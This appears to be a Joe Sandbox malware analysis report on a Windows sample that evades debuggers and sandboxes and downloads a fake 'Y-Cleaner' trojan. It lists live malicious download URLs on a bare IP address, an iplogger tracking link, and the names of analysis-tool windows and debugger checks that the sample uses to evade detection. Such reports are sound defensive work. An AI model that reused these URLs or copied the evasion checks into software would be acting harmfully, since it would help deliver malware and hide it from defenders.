Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2443597893.00000000009AE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ABD0BE rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3CABB push dword ptr fs:[00000030h]		0_2_00D3CABB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B60D90 mov eax, dword ptr fs:[00000030h]		0_2_04B60D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6092B mov eax, dword ptr fs:[00000030h]		0_2_04B6092B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004099EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040A54A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040CDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A6E0 SetUnhandledExceptionFilter,		0_2_0040A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B69C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B69C51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B6A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B6D00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6A947 SetUnhandledExceptionFilter,		0_2_04B6A947

Source: file.exe, file.exe, 00000000.00000002.2443597893.00000000009AE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: JqzProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_04D296AC cpuid

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004107E2 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	25 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	25 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://80.82.65.70/files/download;T	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadI	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadO	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/download3	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download9	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadg	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/downloadMT	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download3	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/keylk	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadW	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadC	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/files/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/files/downloadI	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadg	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1943694778.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969541757.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadO	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1943694778.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969541757.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1892536527.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g-cleanit.hk	file.exe, 00000000.00000003.2193216887.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331368.000000000565F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/download;T	file.exe, 00000000.00000002.2444801798.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/soft/downloadMT	file.exe, 00000000.00000002.2444801798.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download3	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download9	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/soft/download3	file.exe, 00000000.00000003.2193216887.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadW	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1943694778.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969541757.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1892536527.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.2193216887.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331368.000000000565F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/dll/keylk	file.exe, 00000000.00000002.2444801798.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1Pz8p7	file.exe, 00000000.00000003.2193216887.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331368.000000000565F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/downloadC	file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.82.65.70	unknown	Netherlands		202425	INT-NETWORKSC	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574196
Start date and time:	2024-12-13 03:39:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 172.202.163.200, 20.190.177.146, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
21:40:30	API Interceptor	130x Sleep call for process: file.exe modified
21:41:15	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.82.65.70	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INT-NETWORKSC	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_f204527c-82a9-4e99-923f-dd569f3cc5bd\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9696829893762479
Encrypted:	false
SSDEEP:	192:uAVTi+vXPiA0u1ZXI3judvszuiF2Z24IO8TVBV:XBrXou1ZAjPzuiF2Y4IO8X
MD5:	DE7CD4CEE1D8414E8106B469160E0C78
SHA1:	71545E390204ADCA0F6BB39956BEBDF461458E39
SHA-256:	C6133C0CC5BFB510EA800FC6BEEE4E3C642F3BCB1D186B610A1AC64066AF1402
SHA-512:	D4B7346D3279C12B60EC98D9A982305BAFB78E5AB8B43820DDB0CD9D033A6AC26BC1ED60F6D44AE359E6C67B2AFB76F65FCE29D47F57F31C4FC271F636E5AC61
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.5.3.1.2.5.0.9.3.0.9.4.4.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.5.3.1.2.5.1.7.7.4.6.9.8.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.2.0.4.5.2.7.c.-.8.2.a.9.-.4.e.9.9.-.9.2.3.f.-.d.d.5.6.9.f.3.c.c.5.b.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.1.a.3.5.6.a.0.-.8.8.d.1.-.4.d.d.1.-.a.e.2.f.-.3.0.a.d.c.b.e.3.9.8.b.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.6.8.-.0.0.0.1.-.0.0.1.4.-.a.0.4.3.-.6.e.4.d.0.8.4.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.e.6.e.8.d.0.3.b.f.d.0.5.c.a.f.f.9.d.f.3.6.1.5.0.b.7.d.a.f.6.c.8.a.8.b.7.9.9.d.2.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD91.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 13 02:40:51 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46106
Entropy (8bit):	2.549574794382802
Encrypted:	false
SSDEEP:	384:SyOrqUh5jujhG/fG8/c8wU4Vd3S28akxRxd:1st7j2h6fGEc8K3SlFd
MD5:	CD3E9C35D6D02E5CD1D6D72794CE58B8
SHA1:	1F8B093C836E5382ED2DA056ED1483A2A7DC1352
SHA-256:	78E3CA939EDD711D735DA8B2B3BA25A7B8D0E30DA92A2B8DB9AB67B06B50C901
SHA-512:	38AB94451AABEF4EB16B1EF405E7C4723C8DA73C10D14B9370A47E4CA015B1C45374F1DB5C5670E51DA8950E06EFDD34AAF8E5019A3FD05069CD51E6C28BEA28
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........[g............4...........8...<.......d....,..........T.......8...........T............A..jr..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......h.....[g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBFB5.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8300
Entropy (8bit):	3.6935615479509383
Encrypted:	false
